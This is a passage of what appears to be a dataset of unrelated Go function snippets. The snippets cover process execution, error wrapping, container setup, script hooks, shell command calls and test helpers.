StdOut\n\t\t\tstdoutIn, _ := cmd.StdoutPipe()\n\t\t\tstderrIn, _ := cmd.StderrPipe()\n\t\t\tvar errStdout, errStderr error\n\t\t\tstdout := io.MultiWriter(os.Stdout, &stdoutBuf)\n\t\t\tstderr := io.MultiWriter(os.Stderr, &stderrBuf)\n\t\t\tcmdErr := cmd.Start()\n\t\t\tif cmdErr != nil {\n\t\t\t\tlog.Fatalf(\"cmd.Start() failed with '%s'\\n\", cmdErr)\n\t\t\t\t// If there was an error, we return a response with status code 500\n\t\t\t\tres.WriteHeader(http.StatusInternalServerError)\n\t\t\t\tio.WriteString(res, \"500 Internal Server Error: \\n\"+cmdErr.Error())\n\t\t\t\tif logErrorsToStderr {\n\t\t\t\t\tlog.Println(\"\\033[33;31m--- ERROR: ---\\033[0m\")\n\t\t\t\t\tlog.Println(\"\\033[33;31mParams:\\033[0m\")\n\t\t\t\t\tlog.Println(string(requestJSON))\n\t\t\t\t\tlog.Println(\"\\033[33;31mScript output:\\033[0m\")\n\t\t\t\t\tlog.Println(cmd)\n\t\t\t\t\toutStr, errStr := string(stdoutBuf.Bytes()), string(stderrBuf.Bytes())\n\t\t\t\t\tfmt.Printf(\"\\nout:\\n%s\\nerr:\\n%s\\n\", outStr, errStr)\n\t\t\t\t\tlog.Println(\"\\033[33;31m---- END: ----\\033[0m\")\n\t\t\t\t}\n\t\t\t}\n\t\t\tgo func() {\n\t\t\t\t_, errStdout = io.Copy(stdout, stdoutIn)\n\t\t\t}()\n\n\t\t\tgo func() {\n\t\t\t\t_, errStderr = io.Copy(stderr, stderrIn)\n\t\t\t}()\n\t\t\terr = cmd.Wait()\n\t\t\tif cmdErr != nil {\n\t\t\t\tlog.Fatalf(\"cmd.Run() failed with %s\\n\", cmdErr)\n\t\t\t}\n\t\t\tif errStdout != nil || errStderr != nil {\n\t\t\t\tlog.Fatal(\"failed to capture stdout or stderr\\n\")\n\t\t\t}\n\t\t\toutStr, errStr := string(stdoutBuf.Bytes()), string(stderrBuf.Bytes())\n\t\t\tfmt.Printf(\"\\nStdout:\\n%s\\nStderr:\\n%s\\n\", outStr, errStr)\n\t\t\tfmt.Println(\"Command Ran / Program Output: \\n\", cmd)\n\n\t\t\tif minioFlags.useMinio == true {\n\t\t\t\tfmt.Println(\"Starting Minio Connection and Upload\")\n\t\t\t\tminioClient, err := initMinio(minioFlags.minioEndpoint, minioFlags.minioAccessID, minioFlags.minioAccessSecret, minioFlags.minioSSL)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Fatalf(\"minio client initialization failed with %s\\n\", err)\n\t\t\t\t\tres.Header().Set(\"Content-Type\", \"application/json\")\n\t\t\t\t\tres.WriteHeader(http.StatusRequestTimeout)\n\t\t\t\t}\n\t\t\t\tuploadErr := minioUpload(minioClient, minioFlags.minioBucket, minioFlags.minioLocation, mapRequest.MapName, mapRequest.OutputDir)\n\t\t\t\tif uploadErr != nil {\n\t\t\t\t\tlog.Fatalf(\"minio client initialization failed with %s\\n\", uploadErr)\n\t\t\t\t\tres.Header().Set(\"Content-Type\", \"application/json\")\n\t\t\t\t\tres.WriteHeader(http.StatusRequestTimeout)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t\tres.Header().Set(\"Content-Type\", \"application/json\")\n\t\t\tres.WriteHeader(http.StatusOK)\n\t\t\tres.Write(requestJSON)\n\t\t} else {\n\t\t\tdata, _ := json.Marshal(errorPayload{Status: 403, ErrorPayload: \"Method Not Allowed\"})\n\t\t\twriteJSONResponse(res, http.StatusMethodNotAllowed, data)\n\t\t}\n\t\tt2 := time.Now()\n\t\tlog.Printf(\"[%s] %q %v\", req.Method, req.URL.String(), t2.Sub(t1))\n\t}\n}", "func errorf(format string, args ...interface{}) {\n\tfmt.Fprintf(os.Stderr, \"deadcode: \"+format+\"\\n\", args...)\n\texitCode = 2\n}", "func Wrapf(status int, e error, format string, args ...interface{}) error {\n\tif e == nil {\n\t\treturn nil\n\t}\n\tas, opts := splitOptionArgs(args)\n\tvar err *Error\n\tif errors.As(e, &err) {\n\t\terr.Err = errors.Wrapf(err.Err, format, args...)\n\t\te = err\n\t} else {\n\t\te = errors.Wrapf(e, format, as...)\n\t}\n\treturn StatusCodeError(status, e, opts...)\n}", "func execParseFiles(arity int, p *gop.Context) {\n\targs := p.GetArgs(arity)\n\tconv := func(args []interface{}) []string {\n\t\tret := make([]string, len(args))\n\t\tfor i, arg := range args {\n\t\t\tret[i] = arg.(string)\n\t\t}\n\t\treturn ret\n\t}\n\tret, ret1 := template.ParseFiles(conv(args[0:])...)\n\tp.Ret(arity, ret, ret1)\n}", "func hookRunUnsafeCode(unsafe *os.File, data interface{}) {\n\thalt := errors.New(\"Stahp\")\n\n\tstart := time.Now() // Start a timer to track execution\n\tdefer func() { // This function will cleanup when completed.\n\t\tduration := time.Since(start)\n\t\tif caught := recover(); caught != nil {\n\t\t\tif caught == halt {\n\t\t\t\tlog.WithFields(log.Fields{\n\t\t\t\t\t\"path\": unsafe.Name(),\n\t\t\t\t\t\"duration\": duration,\n\t\t\t\t}).Warn(\"Hook script took too long to execute, stopping\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\tlog.WithField(\"msg\", caught).Error(\"Something happened while executing hook script, stopping execution.\")\n\t\t}\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"path\": unsafe.Name(),\n\t\t\t\"duration\": duration,\n\t\t}).Debug(\"Hook code ran successfully, script completed.\")\n\t}()\n\n\tvm := otto.New() // Create the Otto object.\n\tvm.Interrupt = make(chan func(), 1) // Channel to handle our interrupt function\n\n\tvm.Set(\"data\", data) // Make our data available to the script\n\n\tgo func() { // goroutine to interreupt after number of seconds\n\t\ttime.Sleep(time.Duration(Hooks.ScriptTimeout) * time.Second)\n\t\tvm.Interrupt <- func() {\n\t\t\tpanic(halt)\n\t\t}\n\t}()\n\n\t_, err := vm.Run(unsafe) // Here be dragons (risky code)\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"path\": unsafe.Name(),\n\t\t\t\"msg\": err,\n\t\t}).Warn(\"File hook ran with errors.\")\n\t}\n}", "func checkFileScript(fi *fsparser.FileInfo, fullpath string, cbData analyzer.AllFilesCallbackData) {\n\tcbd := cbData.(*callbackDataType)\n\n\tfullname := path.Join(fullpath, fi.Name)\n\n\t// skip/ignore anything but normal files\n\tif !fi.IsFile() || fi.IsLink() {\n\t\treturn\n\t}\n\n\tif len(cbd.scriptOptions) >= 1 {\n\t\tm, err := doublestar.Match(cbd.scriptOptions[0], fi.Name)\n\t\tif err != nil {\n\t\t\tfmt.Fprintf(os.Stderr, \"Match error: %s\\n\", err)\n\t\t\treturn\n\t\t}\n\t\t// file name didn't match the specifications in scriptOptions[0]\n\t\tif !m {\n\t\t\treturn\n\t\t}\n\t}\n\n\tfname, _ := cbd.state.a.FileGet(fullname)\n\targs := []string{fname,\n\t\tfullname,\n\t\tfmt.Sprintf(\"%d\", fi.Uid),\n\t\tfmt.Sprintf(\"%d\", fi.Gid),\n\t\tfmt.Sprintf(\"%o\", fi.Mode),\n\t\tfi.SELinuxLabel,\n\t}\n\tif len(cbd.scriptOptions) >= 2 {\n\t\targs = append(args, \"--\")\n\t\targs = append(args, cbd.scriptOptions[1:]...)\n\t}\n\n\tout, err := exec.Command(cbd.script, args...).CombinedOutput()\n\tif err != nil {\n\t\tcbd.state.a.AddOffender(fullname, fmt.Sprintf(\"script(%s) error=%s\", cbd.script, err))\n\t}\n\n\terr = cbd.state.a.RemoveFile(fname)\n\tif err != nil {\n\t\tpanic(\"removeFile failed\")\n\t}\n\n\tif len(out) > 0 {\n\t\tif cbd.informationalOnly {\n\t\t\tcbd.state.a.AddInformational(fullname, string(out))\n\t\t} else {\n\t\t\tcbd.state.a.AddOffender(fullname, string(out))\n\t\t}\n\t}\n}", "func main() {\n\tif err := mainErr(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func execute_plugin(filename string, input []byte) []byte {\n cmd := filename\n arg := string(input)\n out, err := exec.Command(cmd, arg).Output()\n if err != nil {\n println(err.Error())\n return nil\n }\n return out\n}", "func (receiver Name) Exec() {\n\tif stringutils.IsEmpty(receiver.File) {\n\t\tpanic(errors.New(\"file flag should not be empty\"))\n\t}\n\n\tvar convert func(string) string\n\tswitch receiver.Strategy {\n\tcase lowerCamelStrategy:\n\t\tconvert = strcase.ToLowerCamel\n\tcase snakeStrategy:\n\t\tconvert = strcase.ToSnake\n\tdefault:\n\t\tpanic(errors.New(`unknown strategy. currently only support \"lowerCamel\" and \"snake\"`))\n\t}\n\n\tnewcode, err := astutils.RewriteJSONTag(receiver.File, receiver.Omitempty, convert)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tastutils.FixImport([]byte(newcode), receiver.File)\n}", "func containerShim() {\n\targs := flag.Args()\n\tif flag.NArg() < 10 { // 10 because init args can be nil\n\t\tos.Exit(1)\n\t}\n\n\t// we log to fd(3), and close it before we move on to exec ourselves\n\tlogFile := os.NewFile(uintptr(3), \"\")\n\tlog.AddLogger(\"file\", logFile, log.DEBUG, false)\n\n\tlog.Debug(\"containerShim: %v\", args)\n\n\t// dup2 stdio\n\terr := syscall.Dup2(6, syscall.Stdin)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\terr = syscall.Dup2(7, syscall.Stdout)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\terr = syscall.Dup2(8, syscall.Stderr)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\t// get args\n\tvmInstancePath := args[1]\n\tvmID, err := strconv.Atoi(args[2])\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tvmHostname := args[3]\n\tif vmHostname == CONTAINER_NONE {\n\t\tvmHostname = \"\"\n\t}\n\tvmFSPath := args[4]\n\tvmMemory, err := strconv.Atoi(args[5])\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tvmUUID := args[6]\n\tvmFifos, err := strconv.Atoi(args[7])\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tvmPreinit := args[8]\n\tvmInit := args[9:]\n\n\t// set hostname\n\tlog.Debug(\"vm %v hostname\", vmID)\n\tif vmHostname != \"\" {\n\t\t_, err := processWrapper(\"hostname\", vmHostname)\n\t\tif err != nil {\n\t\t\tlog.Fatal(\"set hostname: %v\", err)\n\t\t}\n\t}\n\n\t// setup the root fs\n\tlog.Debug(\"vm %v containerSetupRoot\", vmID)\n\terr = containerSetupRoot(vmFSPath)\n\tif err != nil {\n\t\tlog.Fatal(\"containerSetupRoot: %v\", err)\n\t}\n\n\t// mount defaults\n\tlog.Debug(\"vm %v containerMountDefaults\", vmID)\n\terr = containerMountDefaults(vmFSPath)\n\tif err != nil {\n\t\tlog.Fatal(\"containerMountDefaults: %v\", err)\n\t}\n\n\t// mknod\n\tlog.Debug(\"vm %v containerMknodDevices\", vmID)\n\terr = containerMknodDevices(vmFSPath)\n\tif err != nil {\n\t\tlog.Fatal(\"containerMknodDevices: %v\", err)\n\t}\n\n\t// pseudoterminals\n\tlog.Debug(\"vm %v containerPtmx\", vmID)\n\terr = containerPtmx(vmFSPath)\n\tif err != nil {\n\t\tlog.Fatal(\"containerPtmx: %v\", err)\n\t}\n\n\t// preinit\n\tif vmPreinit != CONTAINER_NONE {\n\t\tlog.Debug(\"preinit: %v\", vmPreinit)\n\t\tout, err := exec.Command(vmPreinit, vmPreinit).CombinedOutput()\n\t\tif err != nil {\n\t\t\tlog.Fatal(\"containerPreinit: %v: %v\", err, string(out))\n\t\t}\n\t\tif len(out) != 0 {\n\t\t\tlog.Debug(\"containerPreinit: %v\", string(out))\n\t\t}\n\t}\n\n\t// symlinks\n\tlog.Debug(\"vm %v containerSymlinks\", vmID)\n\terr = containerSymlinks(vmFSPath)\n\tif err != nil {\n\t\tlog.Fatal(\"containerSymlinks: %v\", err)\n\t}\n\n\t// remount key paths as read-only\n\tlog.Debug(\"vm %v containerRemountReadOnly\", vmID)\n\terr = containerRemountReadOnly(vmFSPath)\n\tif err != nil {\n\t\tlog.Fatal(\"containerRemountReadOnly: %v\", err)\n\t}\n\n\t// mask uuid path\n\tlog.Debug(\"uuid bind mount: %v -> %v\", vmUUID, containerUUIDLink)\n\terr = syscall.Mount(vmUUID, filepath.Join(vmFSPath, containerUUIDLink), \"\", syscall.MS_BIND, \"\")\n\tif err != nil {\n\t\tlog.Fatal(\"containerUUIDLink: %v\", err)\n\t}\n\n\t// bind mount fifos\n\tlog.Debug(\"vm %v containerFifos\", vmID)\n\terr = containerFifos(vmFSPath, vmInstancePath, vmFifos)\n\tif err != nil {\n\t\tlog.Fatal(\"containerFifos: %v\", err)\n\t}\n\n\t// mask paths\n\tlog.Debug(\"vm %v containerMaskPaths\", vmID)\n\terr = containerMaskPaths(vmFSPath)\n\tif err != nil {\n\t\tlog.Fatal(\"containerMaskPaths: %v\", err)\n\t}\n\n\t// setup cgroups for this vm\n\tlog.Debug(\"vm %v containerPopulateCgroups\", vmID)\n\terr = containerPopulateCgroups(vmID, vmMemory)\n\tif err != nil {\n\t\tlog.Fatal(\"containerPopulateCgroups: %v\", err)\n\t}\n\n\t// chdir\n\tlog.Debug(\"vm %v chdir\", vmID)\n\terr = syscall.Chdir(vmFSPath)\n\tif err != nil {\n\t\tlog.Fatal(\"chdir: %v\", err)\n\t}\n\n\t// attempt to chroot\n\tlog.Debug(\"vm %v containerChroot\", vmID)\n\terr = containerChroot(vmFSPath)\n\tif err != nil {\n\t\tlog.Fatal(\"containerChroot: %v\", err)\n\t}\n\n\t// set capabilities\n\tlog.Debug(\"vm %v containerSetCapabilities\", vmID)\n\terr = containerSetCapabilities()\n\tif err != nil {\n\t\tlog.Fatal(\"containerSetCapabilities: %v\", err)\n\t}\n\n\t// in order to synchronize freezing the container before we call init,\n\t// we close fd(4) to signal the parent that we're ready to freeze. We\n\t// then read fd(5) in order to block for the parent. The parent will\n\t// freeze the child and close the other end of fd(5). Upon unfreezing,\n\t// the read will fail and we can move on to exec.\n\n\tlog.Debug(\"sync for freezing\")\n\tsync1 := os.NewFile(uintptr(4), \"\")\n\tsync2 := os.NewFile(uintptr(5), \"\")\n\tsync1.Close()\n\tvar buf = make([]byte, 1)\n\tsync2.Read(buf)\n\tlog.Debug(\"return from freezing\")\n\n\t// close fds we don't want in init\n\tlogFile.Close()\n\n\t// GO!\n\tlog.Debug(\"vm %v exec: %v %v\", vmID, vmInit)\n\terr = syscall.Exec(vmInit[0], vmInit, nil)\n\tif err != nil {\n\t\tlog.Fatal(\"Exec: %v\", err)\n\t}\n\n\t// the new child process will exit and the parent will catch it\n\tlog.Fatalln(\"how did I get here?\")\n}", "func Wrap(e error) error {\n\treturn &errors{\n\t\tmsg: e.Error(),\n\t\tfileInfo: getFileInfo(),\n\t}\n}", "func WrapErrf(err error, format string, args ...interface{}) error {\n\tmsg := fmt.Sprintf(format, args...)\n\t_, file, line, _ := runtime.Caller(1)\n\treturn &Error{\n\t\terr: err,\n\t\tmsg: msg,\n\t\tfile: file,\n\t\tfileLine: line,\n\t\ttime: time.Now().Format(\"2006-01-02 15:04:05\"),\n\t}\n}", "func main() {\n\tif os.Args[0] == shimPath {\n\t\tif _, found := internalEnv(\"_DAGGER_INTERNAL_COMMAND\"); found {\n\t\t\tos.Exit(internalCommand())\n\t\t\treturn\n\t\t}\n\n\t\t// If we're being executed as `/_shim`, then we're inside the container and should shim\n\t\t// the user command.\n\t\tos.Exit(shim())\n\t} else {\n\t\t// Otherwise, we're being invoked directly by buildkitd and should setup the bundle.\n\t\tos.Exit(setupBundle())\n\t}\n}", "func Errf(format string, v ...interface{}) {\n\tWarnf(format, v...)\n\tos.Exit(1)\n}", "func (e externalCmd) Call(fm *Frame, argVals []interface{}, opts map[string]interface{}) error {\n\tif len(opts) > 0 {\n\t\treturn ErrExternalCmdOpts\n\t}\n\tif fsutil.DontSearch(e.Name) {\n\t\tstat, err := os.Stat(e.Name)\n\t\tif err == nil && stat.IsDir() {\n\t\t\t// implicit cd\n\t\t\tif len(argVals) > 0 {\n\t\t\t\treturn ErrImplicitCdNoArg\n\t\t\t}\n\t\t\treturn fm.Evaler.Chdir(e.Name)\n\t\t}\n\t}\n\n\tfiles := make([]*os.File, len(fm.ports))\n\tfor i, port := range fm.ports {\n\t\tif port != nil {\n\t\t\tfiles[i] = port.File\n\t\t}\n\t}\n\n\targs := make([]string, len(argVals)+1)\n\tfor i, a := range argVals {\n\t\t// TODO: Maybe we should enforce string arguments instead of coercing\n\t\t// all args to strings.\n\t\targs[i+1] = vals.ToString(a)\n\t}\n\n\tpath, err := exec.LookPath(e.Name)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\targs[0] = path\n\n\tsys := makeSysProcAttr(fm.background)\n\tproc, err := os.StartProcess(path, args, &os.ProcAttr{Files: files, Sys: sys})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tstate, err := proc.Wait()\n\tif err != nil {\n\t\t// This should be a can't happen situation. Nonetheless, treat it as a\n\t\t// soft error rather than panicking since the Go documentation is not\n\t\t// explicit that this can only happen if we make a mistake. Such as\n\t\t// calling `Wait` twice on a particular process object.\n\t\treturn err\n\t}\n\tws := state.Sys().(syscall.WaitStatus)\n\tif ws.Signaled() && isSIGPIPE(ws.Signal()) {\n\t\treaderGone := fm.ports[1].readerGone\n\t\tif readerGone != nil && atomic.LoadInt32(readerGone) == 1 {\n\t\t\treturn errs.ReaderGone{}\n\t\t}\n\t}\n\treturn NewExternalCmdExit(e.Name, state.Sys().(syscall.WaitStatus), proc.Pid)\n}", "func runHandler(handler Handler, start time.Time, runEnv *cli.RunEnv) error {\n\tinput, err := ioutil.ReadAll(runEnv.Stdin)\n\tif err != nil {\n\t\treturn err\n\t}\n\trequest := &plugin_go.CodeGeneratorRequest{}\n\tif err := proto.Unmarshal(input, request); err != nil {\n\t\treturn err\n\t}\n\n\thandlerFiles, handlerErr := handler.Handle(runEnv.Stderr, request)\n\tif handlerErr != nil {\n\t\tvar userErrs []error\n\t\tvar systemErrs []error\n\t\tfor _, err := range multierr.Errors(handlerErr) {\n\t\t\t// really need to replace this with xerrors\n\t\t\tif errs.IsUserError(err) {\n\t\t\t\tuserErrs = append(userErrs, err)\n\t\t\t} else {\n\t\t\t\tsystemErrs = append(systemErrs, err)\n\t\t\t}\n\t\t}\n\t\tif len(systemErrs) > 0 {\n\t\t\treturn handlerErr\n\t\t}\n\t\tif len(userErrs) > 0 {\n\t\t\tresponse := &plugin_go.CodeGeneratorResponse{}\n\t\t\terrStrings := make([]string, 0, len(userErrs))\n\t\t\tfor _, err := range userErrs {\n\t\t\t\tif errString := strings.TrimSpace(err.Error()); errString != \"\" {\n\t\t\t\t\terrStrings = append(errStrings, errString)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif len(errStrings) > 0 {\n\t\t\t\tresponse.Error = proto.String(strings.Join(errStrings, \"\\n\"))\n\t\t\t}\n\t\t\tdata, err := proto.Marshal(response)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\t_, err = runEnv.Stdout.Write(data)\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\t}\n\n\tresponse := &plugin_go.CodeGeneratorResponse{\n\t\tFile: handlerFiles,\n\t}\n\tdata, err := proto.Marshal(response)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = runEnv.Stdout.Write(data)\n\treturn err\n}", "func RunCompiled(inv Invocation, exePath string, errlog *log.Logger) int {\n\tdebug.Println(\"running binary\", exePath)\n\tc := exec.Command(exePath, inv.Args...)\n\tc.Stderr = inv.Stderr\n\tc.Stdout = inv.Stdout\n\tc.Stdin = inv.Stdin\n\tc.Dir = inv.Dir\n\tif inv.WorkDir != inv.Dir {\n\t\tc.Dir = inv.WorkDir\n\t}\n\t// intentionally pass through unaltered os.Environ here.. your magefile has\n\t// to deal with it.\n\tc.Env = os.Environ()\n\tif inv.Verbose {\n\t\tc.Env = append(c.Env, \"MAGEFILE_VERBOSE=1\")\n\t}\n\tif inv.List {\n\t\tc.Env = append(c.Env, \"MAGEFILE_LIST=1\")\n\t}\n\tif inv.Help {\n\t\tc.Env = append(c.Env, \"MAGEFILE_HELP=1\")\n\t}\n\tif inv.Debug {\n\t\tc.Env = append(c.Env, \"MAGEFILE_DEBUG=1\")\n\t}\n\tif inv.GoCmd != \"\" {\n\t\tc.Env = append(c.Env, fmt.Sprintf(\"MAGEFILE_GOCMD=%s\", inv.GoCmd))\n\t}\n\tif inv.Timeout > 0 {\n\t\tc.Env = append(c.Env, fmt.Sprintf(\"MAGEFILE_TIMEOUT=%s\", inv.Timeout.String()))\n\t}\n\tdebug.Print(\"running magefile with mage vars:\\n\", strings.Join(filter(c.Env, \"MAGEFILE\"), \"\\n\"))\n\t// catch SIGINT to allow magefile to handle them\n\tsigCh := make(chan os.Signal, 1)\n\tsignal.Notify(sigCh, syscall.SIGINT)\n\tdefer signal.Stop(sigCh)\n\terr := c.Run()\n\tif !sh.CmdRan(err) {\n\t\terrlog.Printf(\"failed to run compiled magefile: %v\", err)\n\t}\n\treturn sh.ExitStatus(err)\n}", "func main() {\n\terr := mainInner()\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"error: %s\\n\", err.Error())\n\t\tos.Exit(2)\n\t}\n}", "func customErr(text string, e error) {\n\tif e != nil {\n\t\tfmt.Println(text, e)\n\t\tos.Exit(1)\n\t}\n}", "func Run() {\n\t//tErr()\n\t//tCatch()\n\terr := customErr()\n\tif err != nil {\n\t\tpanic(err) //执行到这里下面的东西就不会再执行了\n\t}\n\tfmt.Println(\"main\")\n}", "func run(cmd string, v interface{}, extraArgs ...string) error {\n\t// lvmlock can be nil, as it is a global variable that is intended to be\n\t// initialized from calling code outside this package. We have no way of\n\t// knowing whether the caller performed that initialization and must\n\t// defensively check. In the future, we may decide to simply panic with a\n\t// nil pointer dereference.\n\tif lvmlock != nil {\n\t\t// We use Lock instead of TryLock as we have no alternative way of\n\t\t// making progress. We expect lvm2 command-line utilities invoked by\n\t\t// this package to return within a reasonable amount of time.\n\t\tif lerr := lvmlock.Lock(); lerr != nil {\n\t\t\treturn fmt.Errorf(\"lvm: acquire lock failed: %v\", lerr)\n\t\t}\n\t\tdefer func() {\n\t\t\tif lerr := lvmlock.Unlock(); lerr != nil {\n\t\t\t\tpanic(fmt.Sprintf(\"lvm: release lock failed: %v\", lerr))\n\t\t\t}\n\t\t}()\n\t}\n\tvar args []string\n\tif v != nil {\n\t\targs = append(args, \"--reportformat=json\")\n\t\targs = append(args, \"--units=b\")\n\t\targs = append(args, \"--nosuffix\")\n\t}\n\targs = append(args, extraArgs...)\n\tc := exec.Command(cmd, args...)\n\tlog.Printf(\"Executing: %v\", c)\n\tstdout, stderr := new(bytes.Buffer), new(bytes.Buffer)\n\tc.Stdout = stdout\n\tc.Stderr = stderr\n\tif err := c.Run(); err != nil {\n\t\terrstr := ignoreWarnings(stderr.String())\n\t\tlog.Print(\"stdout: \" + stdout.String())\n\t\tlog.Print(\"stderr: \" + errstr)\n\t\treturn errors.New(errstr)\n\t}\n\tstdoutbuf := stdout.Bytes()\n\tstderrbuf := stderr.Bytes()\n\terrstr := ignoreWarnings(string(stderrbuf))\n\tlog.Printf(\"stdout: \" + string(stdoutbuf))\n\tlog.Printf(\"stderr: \" + errstr)\n\tif v != nil {\n\t\tif err := json.Unmarshal(stdoutbuf, v); err != nil {\n\t\t\treturn fmt.Errorf(\"%v: [%v]\", err, string(stdoutbuf))\n\t\t}\n\t}\n\treturn nil\n}", "func execIs(_ int, p *gop.Context) {\n\targs := p.GetArgs(2)\n\tret := errors.Is(args[0].(error), args[1].(error))\n\tp.Ret(2, ret)\n}", "func TestHelperProcess(t *testing.T) {\n\tif os.Getenv(\"GO_WANT_HELPER_PROCESS\") != \"1\" {\n\t\treturn\n\t}\n\n\tif os.Getenv(\"GO_WANT_HELPER_PROCESS_FORCE_ERROR\") == \"1\" {\n\t\tos.Exit(1)\n\t}\n\n\tdefer os.Exit(0)\n\n\targs := os.Args\n\tfor len(args) > 0 {\n\t\tif args[0] == \"--\" {\n\t\t\targs = args[1:]\n\t\t\tbreak\n\t\t}\n\t\targs = args[1:]\n\t}\n\tif len(args) == 0 {\n\t\tfmt.Fprintf(os.Stderr, \"No command\\n\")\n\t\tos.Exit(2)\n\t}\n\n\tcmd, args := args[0], args[1:]\n\tswitch {\n\tcase cmd == \"echo\":\n\t\tiargs := []interface{}{}\n\t\tfor _, s := range args {\n\t\t\tiargs = append(iargs, s)\n\t\t}\n\t\tfmt.Println(iargs...)\n\tcase cmd == \"exit\":\n\t\tn, _ := strconv.Atoi(args[0])\n\t\tos.Exit(n)\n\tcase strings.HasSuffix(cmd, \"launcher\") && args[0] == \"-version\":\n\t\tfmt.Println(`launcher - version 0.5.6-19-g17c8589\n branch: \tmaster\n revision: \t17c8589f47858877bb8de3d8ab1bd095cf631a11\n build date: \t2018-11-09T15:31:10Z\n build user: \tseph\n go version: \tgo1.11`)\n\tdefault:\n\t\tfmt.Fprintf(os.Stderr, \"Can't mock, unknown command(%q) args(%q) -- Fix TestHelperProcess\", cmd, args)\n\t\tos.Exit(2)\n\t}\n\n}", "func Unwrap(err error) {\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(-1)\n\t}\n}", "func testableMain(initFile string, args []string, conf sherlock.Config) error { // nolint: gotype\n\n\tif conf.Ruleset == \"\" {\n\t\t// usage()\n\t\treturn fmt.Errorf(\"you must provide a ruleset\")\n\t}\n\truleset, err := sherlock.LoadRules(conf.Ruleset)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Try running rules against one or more log files\n\tif len(args) < 1 || args[0] == \"\" {\n\t\t// usage()\n\t\treturn fmt.Errorf(\"you must provide a log\") // nolint\n\t}\n\t// apply a ruleset to logfiles, with and without specific rules\n\tfor _, arg := range args {\n\t\terr := sherlock.Try(arg, conf, ruleset) // nolint: gotype\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to evaluate log %q using ruleset %q, %v\",\n\t\t\t\targ, conf.Ruleset, err)\n\t\t}\n\t}\n\treturn nil\n}", "func HelperOpenSSL_FailExecCommand(cmd string, args []string) (string, error) {\n\tif cmd == \"openssl\" {\n\t\tif (len(args) == 4 && args[0] == \"genrsa\") ||\n\t\t\t(len(args) == 4 && args[0] == \"x509\") ||\n\t\t\t(len(args) == 4 && args[0] == \"dgst\") ||\n\t\t\t(len(args) == 8 && args[0] == \"rsa\") ||\n\t\t\t(len(args) == 12 && args[0] == \"req\") {\n\t\t\treturn \"\", fmt.Errorf(\"mocked failure for %s %s\", cmd, args[0])\n\t\t} else {\n\t\t\treturn \"\", fmt.Errorf(\"Wrong # of args (%d) for openssl %s command\", len(args), args[0])\n\t\t}\n\t}\n\treturn \"\", fmt.Errorf(\"Test setup error - expected to be mocking openssl command only\")\n}", "func (e ExternalCmd) Call(ec *EvalCtx, argVals []Value) {\n\tif DontSearch(e.Name) {\n\t\tstat, err := os.Stat(e.Name)\n\t\tif err == nil && stat.IsDir() {\n\t\t\t// implicit cd\n\t\t\tcdInner(e.Name, ec)\n\t\t\treturn\n\t\t}\n\t}\n\n\tfiles := make([]uintptr, len(ec.ports))\n\tfor i, port := range ec.ports {\n\t\tif port == nil || port.File == nil {\n\t\t\tfiles[i] = fdNil\n\t\t} else {\n\t\t\tfiles[i] = port.File.Fd()\n\t\t}\n\t}\n\n\targs := make([]string, len(argVals)+1)\n\tfor i, a := range argVals {\n\t\t// NOTE Maybe we should enfore string arguments instead of coercing all\n\t\t// args into string\n\t\targs[i+1] = ToString(a)\n\t}\n\n\tsys := syscall.SysProcAttr{}\n\tattr := syscall.ProcAttr{Env: os.Environ(), Files: files[:], Sys: &sys}\n\n\tpath, err := ec.Search(e.Name)\n\tif err != nil {\n\t\tthrow(errors.New(\"search: \" + err.Error()))\n\t}\n\n\targs[0] = path\n\tpid, err := syscall.ForkExec(path, args, &attr)\n\tif err != nil {\n\t\tthrow(errors.New(\"forkExec: \" + err.Error()))\n\t}\n\n\tvar ws syscall.WaitStatus\n\t_, err = syscall.Wait4(pid, &ws, 0, nil)\n\tif err != nil {\n\t\tthrow(fmt.Errorf(\"wait: %s\", err.Error()))\n\t} else {\n\t\tmaybeThrow(waitStatusToError(ws))\n\t}\n}", "func Wrapf(code int, err error, format string, args ...interface{}) GalaxyError {\n\tstack, context := StackTrace()\n\treturn &GalaxyBaseError{\n\t\tMsg: fmt.Sprintf(format, args...),\n\t\tStack: stack,\n\t\tContext: context,\n\t\tinner: err,\n\t\tCode: code,\n\t}\n}", "func Callfile(w http.ResponseWriter, r *http.Request) {\n\thttp.ServeFile(w, r, \"/tmp/exampleTest.call\")\n\treturn\n}", "func TestExecuteFile(t *testing.T) {\n\ttestfile := tests.Testdir + \"/ex1.sh\"\n\n\tvar out bytes.Buffer\n\tshell, cleanup := newTestShell(t)\n\tdefer cleanup()\n\n\tshell.SetNashdPath(tests.Nashcmd)\n\tshell.SetStdout(&out)\n\tshell.SetStderr(os.Stderr)\n\tshell.SetStdin(os.Stdin)\n\n\terr := shell.ExecuteFile(testfile)\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\n\tif string(out.Bytes()) != \"hello world\\n\" {\n\t\tt.Errorf(\"Wrong command output: '%s'\", string(out.Bytes()))\n\t\treturn\n\t}\n}", "func Errof(str string, args ...interface{}) error {\n\t_, file, line, ok := runtime.Caller(1)\n\tif !ok {\n\t\treturn fmt.Errorf(str, args...)\n\t}\n\tfile = callerShortfile(file)\n\ts := fmt.Sprintf(str, args...)\n\treturn fmt.Errorf(\"[%s:%d]:%s\", file, 